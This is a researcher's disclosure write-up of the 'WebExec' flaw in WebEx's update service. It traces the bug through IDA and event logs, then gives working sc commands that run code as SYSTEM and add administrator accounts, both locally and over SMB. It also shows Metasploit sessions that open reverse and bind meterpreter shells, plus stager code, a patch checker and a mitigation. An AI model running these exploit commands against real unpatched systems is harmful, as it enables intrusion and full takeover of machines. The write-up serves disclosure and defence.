This is a technical rundown of a vulnerability that we’ve dubbed “WebExec”. The summary is: a flaw in WebEx’s WebexUpdateService allows anyone with a login to the Windows system where WebEx is installed to run SYSTEM-level code remotely. That’s right: this client-side application that doesn’t listen on any ports is actually vulnerable to remote code execution! A local or domain account will work, making this a powerful way to pivot through networks until it’s patched.
High level details and FAQ at https://webexec.org! Below is a technical writeup of how we found the bug and how it works.
Credit
This vulnerability was discovered by myself and Jeff McJunkin from Counter Hack during a routine pentest. Thanks to Ed Skoudis for permission to post this writeup.
If you have any questions or concerns, I made an email alias specifically for this issue: info@webexec.org!
You can download a vulnerable installer here and a patched one here, in case you want to play with this yourself! It probably goes without saying, but be careful if you run the vulnerable version!
Intro
During a recent pentest, we found an interesting vulnerability in the WebEx client software while we were trying to escalate local privileges on an end-user laptop. Eventually, we realized that this vulnerability is also exploitable remotely (given any domain user account) and decided to give it a name: WebExec. Because every good vulnerability has a name!
As far as we know, a remote attack against a 3rd party Windows service is a novel type of attack. We’re calling the class “thank you for your service”, because we can, and are crossing our fingers that more are out there!
The actual version of WebEx is the latest client build as of August, 2018: Version 3211.0.1801.2200, modified 7/19/2018 SHA1: bf8df54e2f49d06b52388332938f5a875c43a5a7. We’ve tested some older and newer versions since then, and they are still vulnerable.
WebEx released patch on October 3, but requested we maintain embargo until they release their advisory. You can find all the patching instructions on webexec.org.
The good news is, the patched version of this service will only run files that are signed by WebEx. The bad news is, there are a lot of those out there (including the vulnerable version of the service!), and the service can still be started remotely. If you’re concerned about the service being remotely start-able by any user (which you should be!), the following command disables that function:
c:\>sc sdset webexservice D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPLORC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
That removes remote and non-interactive access from the service. It will still be vulnerable to local privilege escalation, though, without the patch.
Privilege Escalation
What initially got our attention is that folder (c:\ProgramData\WebEx\WebEx\Applications</tt>) is readable and writable by everyone, and it installs a service called “webexservice” that can be started and stopped by anybody. That’s not good! It is trivial to replace the .exe or an associated .dll with anything we like, and get code execution at the service level (that’s SYSTEM). That’s an immediate vulnerability, which we reported, and which ZDI apparently beat us to the punch on, since it was fixed on September 5, 2018, based on their report.
Due to the application whitelisting, however, on this particular assessment we couldn’t simply replace this with a shell! The service starts non-interactively (ie, no window and no commandline arguments). We explored a lot of different options, such as replacing the .exe with other binaries (such as cmd.exe), but no GUI meant no ability to run commands.
One test that almost worked was replacing the .exe with another whitelisted application, msbuild.exe, which can read arbitrary C# commands out of a .vbproj file in the same directory. But because it’s a service, it runs with the working directory c:\windows\system32, and we couldn’t write to that folder!
At that point, my curiosity got the best of me, and I decided to look into what webexservice.exe actually does under the hood. The deep dive ended up finding gold! Let’s take a look
Deep dive into WebExService.exe
It’s not really a good motto, but when in doubt, I tend to open something in IDA. The two easiest ways to figure out what a process does in IDA is the strings windows (shift-F12) and the imports window. In the case of webexservice.exe, most of the strings were related to Windows service stuff, but something caught my eye:
.rdata:00405438 ; wchar_t aSCreateprocess .rdata:00405438 aSCreateprocess: ; DATA XREF: sub_4025A0+1E8o .rdata:00405438 unicode 0, <%s::CreateProcessAsUser:%d;%ls;%ls(%d).>,0
I found the import for CreateProcessAsUserW in advapi32.dll, and looked at how it was called:
.text:0040254E push [ebp+lpProcessInformation] ; lpProcessInformation .text:00402554 push [ebp+lpStartupInfo] ; lpStartupInfo .text:0040255A push 0 ; lpCurrentDirectory .text:0040255C push 0 ; lpEnvironment .text:0040255E push 0 ; dwCreationFlags .text:00402560 push 0 ; bInheritHandles .text:00402562 push 0 ; lpThreadAttributes .text:00402564 push 0 ; lpProcessAttributes .text:00402566 push [ebp+lpCommandLine] ; lpCommandLine .text:0040256C push 0 ; lpApplicationName .text:0040256E push [ebp+phNewToken] ; hToken .text:00402574 call ds:CreateProcessAsUserW
The W on the end refers to the UNICODE (“wide”) version of the function. When developing Windows code, developers typically use CreateProcessAsUser in their code, and the compiler expands it to CreateProcessAsUserA for ASCII, and CreateProcessAsUserW for UNICODE. If you look up the function definition for CreateProcessAsUser, you’ll find everything you need to know.
In any case, the two most important arguments here are hToken - the user it creates the process as - and lpCommandLine - the command that it actually runs. Let’s take a look at each!
hToken
The code behind hToken is actually pretty simple. If we scroll up in the same function that calls CreateProcessAsUserW, we can just look at API calls to get a feel for what’s going on. Trying to understand what code’s doing simply based on the sequence of API calls tends to work fairly well in Windows applications, as you’ll see shortly.
At the top of the function, we see:
.text:0040241E call ds:CreateToolhelp32Snapshot
This is a normal way to search for a specific process in Win32 - it creates a “snapshot” of the running processes and then typically walks through them using Process32FirstW and Process32NextW until it finds the one it needs. I even used the exact same technique a long time ago when I wrote my Injector tool for loading a custom .dll into another process (sorry for the bad code.. I wrote it like 15 years ago).
Based simply on knowledge of the APIs, we can deduce that it’s searching for a specific process. If we keep scrolling down, we can find a call to _wcsicmp, which is a Microsoft way of saying stricmp for UNICODE strings:
.text:00402480 lea eax, [ebp+Str1] .text:00402486 push offset Str2 ; "winlogon.exe" .text:0040248B push eax ; Str1 .text:0040248C call ds:_wcsicmp .text:00402492 add esp, 8 .text:00402495 test eax, eax .text:00402497 jnz short loc_4024BE
Specifically, it’s comparing the name of each process to “winlogon.exe” - so it’s trying to get a handle to the “winlogon.exe” process!
If we continue down the function, you’ll see that it calls OpenProcess, then OpenProcessToken, then DuplicateTokenEx. That’s another common sequence of API calls - it’s how a process can get a handle to another process’s token. Shortly after, the token it duplicates is passed to CreateProcessAsUserW as hToken.
To summarize: this function gets a handle to winlogon.exe, duplicates its token, and creates a new process as the same user (SYSTEM). Now all we need to do is figure out what the process is!
An interesting takeaway here is that I didn’t really really read assembly at all to determine any of this: I simply followed the API calls. Often, reversing Windows applications is just that easy!
lpCommandLine
This is where things get a little more complicated, since there are a series of function calls to traverse to figure out lpCommandLine. I had to use a combination of reversing, debugging, troubleshooting, and eventlogs to figure out exactly where lpCommandLine comes from. This took a good full day, so don’t be discouraged by this quick summary - I’m skipping an awful lot of dead ends and validation to keep just to the interesting bits.
One such dead end: I initially started by working backwards from CreateProcessAsUserW, or forwards from main(), but I quickly became lost in the weeds and decided that I’d have to go the other route. While scrolling around, however, I noticed a lot of debug strings and calls to the event log. That gave me an idea - I opened the Windows event viewer (eventvwr.msc) and tried to start the process with sc start webexservice:
C:\Users\ron>sc start webexservice SERVICE_NAME: webexservice TYPE : 10 WIN32_OWN_PROCESS STATE : 2 START_PENDING (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) [...]
You may need to configure Event Viewer to show everything in the Application logs, I didn’t really know what I was doing, but eventually I found a log entry for WebExService.exe:
ExecuteServiceCommand::Not enough command line arguments to execute a service command.
That’s handy! Let’s search for that in IDA (alt+T)! That leads us to this code:
.text:004027DC cmp edi, 3 .text:004027DF jge short loc_4027FD .text:004027E1 push offset aExecuteservice ; "ExecuteServiceCommand" .text:004027E6 push offset aSNotEnoughComm ; "%s::Not enough command line arguments t"... .text:004027EB push 2 ; wType .text:004027ED call sub_401770
A tiny bit of actual reversing: compare edit to 3, jump if greater or equal, otherwise print that we need more commandline arguments. It doesn’t take a huge logical leap to determine that we need 2 or more commandline arguments (since the name of the process is always counted as well). Let’s try it:
C:\Users\ron>sc start webexservice a b [...]
Then check Event Viewer again:
ExecuteServiceCommand::Service command not recognized: b.
Don’t you love verbose error messages? It’s like we don’t even have to think! Once again, search for that string in IDA (alt+T) and we find ourselves here:
.text:00402830 loc_402830: ; CODE XREF: sub_4027D0+3Dj .text:00402830 push dword ptr [esi+8] .text:00402833 push offset aExecuteservice ; "ExecuteServiceCommand" .text:00402838 push offset aSServiceComman ; "%s::Service command not recognized: %ls"... .text:0040283D push 2 ; wType .text:0040283F call sub_401770
If we scroll up just a bit to determine how we get to that error message, we find this:
.text:004027FD loc_4027FD: ; CODE XREF: sub_4027D0+Fj .text:004027FD push offset aSoftwareUpdate ; "software-update" .text:00402802 push dword ptr [esi+8] ; lpString1 .text:00402805 call ds:lstrcmpiW .text:0040280B test eax, eax .text:0040280D jnz short loc_402830 ; <-- Jumps to the error we saw .text:0040280F mov [ebp+var_4], eax .text:00402812 lea edx, [esi+0Ch] .text:00402815 lea eax, [ebp+var_4] .text:00402818 push eax .text:00402819 push ecx .text:0040281A lea ecx, [edi-3] .text:0040281D call sub_4025A0
The string software-update is what the string is compared to. So instead of b, let’s try software-update and see if that gets us further! I want to once again point out that we’re only doing an absolutely minimum amount of reverse engineering at the assembly level - we’re basically entirely using API calls and error messages!
Here’s our new command:
C:\Users\ron>sc start webexservice a software-update [...]
Which results in the new log entry:
Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3 Faulting module name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3 Exception code: 0xc0000005 Fault offset: 0x00002643 Faulting process id: 0x654 Faulting application start time: 0x01d42dbbf2bcc9b8 Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe Faulting module path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe Report Id: 31555e60-99af-11e8-8391-0800271677bd
Uh oh! I’m normally excited when I get a process to crash, but this time I’m actually trying to use its features! What do we do!?
First of all, we can look at the exception code: 0xc0000005. If you Google it, or develop low-level software, you’ll know that it’s a memory fault. The process tried to access a bad memory address (likely NULL, though I never verified).
The first thing I tried was the brute-force approach: let’s add more commandline arguments! My logic was that it might require 2 arguments, but actually use the third and onwards for something then crash when they aren’t present.
So I started the service with the following commandline:
C:\Users\ron>sc start webexservice a software-update a b c d e f [...]
That led to a new crash, so progress!
Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3 Faulting module name: MSVCR120.dll, version: 12.0.21005.1, time stamp: 0x524f7ce6 Exception code: 0x40000015 Fault offset: 0x000a7676 Faulting process id: 0x774 Faulting application start time: 0x01d42dbc22eef30e Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe Faulting module path: C:\ProgramData\Webex\Webex\Applications\MSVCR120.dll Report Id: 60a0439c-99af-11e8-8391-0800271677bd
I had to google 0x40000015; it means STATUS_FATAL_APP_EXIT. In other words, the app exited, but hard - probably a failed assert()? We don’t really have any output, so it’s hard to say.
This one took me awhile, and this is where I’ll skip the deadends and debugging and show you what worked.
Basically, keep following the codepath immediately after the software-update string we saw earlier. Not too far after, you’ll see this function call:
.text:0040281D call sub_4025A0
If you jump into that function (double click), and scroll down a bit, you’ll see:
.text:00402616 mov [esp+0B4h+var_70], offset aWinsta0Default ; "winsta0\\Default"
I used the most advanced technique in my arsenal here and googled that string. It turns out that it’s a handle to the default desktop and is frequently used when starting a new process that needs to interact with the user. That’s a great sign, it means we’re almost there!
A little bit after, in the same function, we see this code:
.text:004026A2 push eax ; EndPtr .text:004026A3 push esi ; Str .text:004026A4 call ds:wcstod ; <-- .text:004026AA add esp, 8 .text:004026AD fstp [esp+0B4h+var_90] .text:004026B1 cmp esi, [esp+0B4h+EndPtr+4] .text:004026B5 jnz short loc_4026C2 .text:004026B7 push offset aInvalidStodArg ; "invalid stod argument" .text:004026BC call ds:?_Xinvalid_argument@std@@YAXPBD@Z ; std::_Xinvalid_argument(char const *)
The line with an error - wcstod() is close to where the abort() happened. I’ll spare you the debugging details - debugging a service was non-trivial - but I really should have seen that function call before I got off track.
I looked up wcstod() online, and it’s another of Microsoft’s cleverly named functions. This one converts a string to a number. If it fails, the code references something called std::_Xinvalid_argument. I don’t know exactly what it does from there, but we can assume that it’s looking for a number somewhere.
This is where my advice becomes “be lucky”. The reason is, the only number that will actually work here is “1”. I don’t know why, or what other numbers do, but I ended up calling the service with the commandline:
C:\Users\ron>sc start webexservice a software-update 1 2 3 4 5 6
And checked the event log:
StartUpdateProcess::CreateProcessAsUser:1;1;2 3 4 5 6(18).
That looks awfully promising! I changed 2 to an actual process:
C:\Users\ron>sc start webexservice a software-update 1 calc c d e f
And it opened!
C:\Users\ron>tasklist | find "calc" calc.exe 1476 Console 1 10,804 K
It actually runs with a GUI, too, so that’s kind of unnecessary. I could literally see it! And it’s running as SYSTEM!
Speaking of unknowns, running cmd.exe and powershell the same way does not appear to work. We can, however, run wmic.exe and net.exe, so we have some choices!
Local exploit
The simplest exploit is to start cmd.exe with wmic.exe:
C:\Users\ron>sc start webexservice a software-update 1 wmic process call create "cmd.exe"
That opens a GUI cmd.exe instance as SYSTEM:
Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system
If we can’t or choose not to open a GUI, we can also escalate privileges:
C:\Users\ron>net localgroup administrators [...] Administrator ron C:\Users\ron>sc start webexservice a software-update 1 net localgroup administrators testuser /add [...] C:\Users\ron>net localgroup administrators [...] Administrator ron testuser
And this all works as an unprivileged user!
Jeff wrote a local module for Metasploit to exploit the privilege escalation vulnerability. If you have a non-SYSTEM session on the affected machine, you can use it to gain a SYSTEM account:
meterpreter > getuid Server username: IEWIN7\IEUser meterpreter > background [*] Backgrounding session 2... msf exploit(multi/handler) > use exploit/windows/local/webexec msf exploit(windows/local/webexec) > set SESSION 2 SESSION => 2 msf exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp msf exploit(windows/local/webexec) > set LHOST 172.16.222.1 msf exploit(windows/local/webexec) > set LPORT 9001 msf exploit(windows/local/webexec) > run [*] Started reverse TCP handler on 172.16.222.1:9001 [*] Checking service exists... [*] Writing 73802 bytes to %SystemRoot%\Temp\yqaKLvdn.exe... [*] Launching service... [*] Sending stage (179779 bytes) to 172.16.222.132 [*] Meterpreter session 2 opened (172.16.222.1:9001 -> 172.16.222.132:49574) at 2018-08-31 14:45:25 -0700 [*] Service started... meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
Remote exploit
We actually spent over a week knowing about this vulnerability without realizing that it could be used remotely! The simplest exploit can still be done with the Windows sc command. Either create a session to the remote machine or create a local user with the same credentials, then run cmd.exe in the context of that user (runas /user:newuser cmd.exe). Once that’s done, you can use the exact same command against the remote host:
c:\>sc \\10.0.0.0 start webexservice a software-update 1 net localgroup administrators testuser /add
The command will run (and a GUI will even pop up!) on the other machine.
Remote exploitation with Metasploit
To simplify this attack, I wrote a pair of Metasploit modules. One is an auxiliary module that implements this attack to run an arbitrary command remotely, and the other is a full exploit module. Both require a valid SMB account (local or domain), and both mostly depend on the WebExec library that I wrote.
Here is an example of using the auxiliary module to run calc on a bunch of vulnerable machines:
msf5 > use auxiliary/admin/smb/webexec_command msf5 auxiliary(admin/smb/webexec_command) > set RHOSTS 192.168.1.100-110 RHOSTS => 192.168.56.100-110 msf5 auxiliary(admin/smb/webexec_command) > set SMBUser testuser SMBUser => testuser msf5 auxiliary(admin/smb/webexec_command) > set SMBPass testuser SMBPass => testuser msf5 auxiliary(admin/smb/webexec_command) > set COMMAND calc COMMAND => calc msf5 auxiliary(admin/smb/webexec_command) > exploit [-] 192.168.56.105:445 - No service handle retrieved [+] 192.168.56.105:445 - Command completed! [-] 192.168.56.103:445 - No service handle retrieved [+] 192.168.56.103:445 - Command completed! [+] 192.168.56.104:445 - Command completed! [+] 192.168.56.101:445 - Command completed! [*] 192.168.56.100-110:445 - Scanned 11 of 11 hosts (100% complete) [*] Auxiliary module execution completed
And here’s the full exploit module:
msf5 > use exploit/windows/smb/webexec msf5 exploit(windows/smb/webexec) > set SMBUser testuser SMBUser => testuser msf5 exploit(windows/smb/webexec) > set SMBPass testuser SMBPass => testuser msf5 exploit(windows/smb/webexec) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf5 exploit(windows/smb/webexec) > set RHOSTS 192.168.56.101 RHOSTS => 192.168.56.101 msf5 exploit(windows/smb/webexec) > exploit [*] 192.168.56.101:445 - Connecting to the server... [*] 192.168.56.101:445 - Authenticating to 192.168.56.101:445 as user 'testuser'... [*] 192.168.56.101:445 - Command Stager progress - 0.96% done (999/104435 bytes) [*] 192.168.56.101:445 - Command Stager progress - 1.91% done (1998/104435 bytes) ... [*] 192.168.56.101:445 - Command Stager progress - 98.52% done (102891/104435 bytes) [*] 192.168.56.101:445 - Command Stager progress - 99.47% done (103880/104435 bytes) [*] 192.168.56.101:445 - Command Stager progress - 100.00% done (104435/104435 bytes) [*] Started bind TCP handler against 192.168.56.101:4444 [*] Sending stage (179779 bytes) to 192.168.56.101
The actual implementation is mostly straight forward if you look at the code linked above, but I wanted to specifically talk about the exploit module, since it had an interesting problem: how do you initially get a meterpreter .exe uploaded to execute it?
I started by using a psexec-like exploit where we upload the .exe file to a writable share, then execute it via WebExec. That proved problematic, because uploading to a share frequently requires administrator privileges, and at that point you could simply use psexec instead. You lose the magic of WebExec!
After some discussion with Egyp7, I realized I could use the Msf::Exploit::CmdStager mixin to stage the command to an .exe file to the filesystem. Using the .vbs flavor of staging, it would write a Base64-encoded file to the disk, then a .vbs stub to decode and execute it!
There are several problems, however:
- The max line length is ~1200 characters, whereas the CmdStager mixin uses ~2000 characters per line
- CmdStager uses %TEMP% as a temporary directory, but our exploit doesn't expand paths
- WebExecService seems to escape quotation marks with a backslash, and I'm not sure how to turn that off
The first two issues could be simply worked around by adding options (once I’d figured out the options to use):
wexec(true) do |opts| opts[:flavor] = :vbs opts[:linemax] = datastore["MAX_LINE_LENGTH"] opts[:temp] = datastore["TMPDIR"] opts[:delay] = 0.05 execute_cmdstager(opts) end
execute_cmdstager() will execute execute_command() over and over to build the payload on-disk, which is where we fix the final issue:
# This is the callback for cmdstager, which breaks the full command into # chunks and sends it our way. We have to do a bit of finangling to make it # work correctly def execute_command(command, opts) # Replace the empty string, "", with a workaround - the first 0 characters of "A" command = command.gsub('""', 'mid(Chr(65), 1, 0)') # Replace quoted strings with Chr(XX) versions, in a naive way command = command.gsub(/"[^"]*"/) do |capture| capture.gsub(/"/, "").chars.map do |c| "Chr(#{c.ord})" end.join('+') end # Prepend "cmd /c" so we can use a redirect command = "cmd /c " + command execute_single_command(command, opts) end
First, it replaces the empty string with mid(Chr(65), 1, 0), which works out to characters 1 - 1 of the string “A”. Or the empty string!
Second, it replaces every other string with Chr(n)+Chr(n)+…. We couldn’t use &, because that’s already used by the shell to chain commands. I later learned that we can escape it and use ^&, which works just fine, but + is shorter so I stuck with that.
And finally, we prepend cmd /c to the command, which lets us echo to a file instead of just passing the > symbol to the process. We could probably use ^> instead.
In a targeted attack, it’s obviously possible to do this much more cleanly, but this seems to be a great way to do it generically!
Checking for the patch
This is one of those rare (or maybe not so rare?) instances where exploiting the vulnerability is actually easier than checking for it!
The patched version of WebEx still allows remote users to connect to the process and start it. However, if the process detects that it’s being asked to run an executable that is not signed by WebEx, the execution will halt. Unfortunately, that gives us no information about whether a host is vulnerable!
There are a lot of targeted ways we could validate whether code was run. We could use a DNS request, telnet back to a specific port, drop a file in the webroot, etc. The problem is that unless we have a generic way to check, it’s no good as a script!
In order to exploit this, you have to be able to get a handle to the service-controlservice (svcctl), so to write a checker, I decided to install a fake service, try to start it, then delete the service. If starting the service returns either OK or ACCESS_DENIED, we know it worked!
Here’s the important code from the Nmap checker module we developed:
-- Create a test service that we can query local webexec_command = "sc create " .. test_service .. " binpath= c:\\fakepath.exe" status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], stdnse.strsplit(" ", "install software-update 1 " .. webexec_command)) -- ... local test_status, test_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], test_service, 0x00000) -- If the service DOES_NOT_EXIST, we couldn't run code if string.match(test_result, 'DOES_NOT_EXIST') then stdnse.debug("Result: Test service does not exist: probably not vulnerable") msrpc.svcctl_closeservicehandle(smbstate, open_result['handle']) vuln.check_results = "Could not execute code via WebExService" return report:make_output(vuln) end
Not shown: we also delete the service once we’re finished.
Conclusion
So there you have it! Escalating privileges from zero to SYSTEM using WebEx’s built-in update service! Local and remote! Check out webexec.org for tools and usage instructions!
Comments
Join the conversation on this Mastodon post (replies will appear below)!
Loading comments...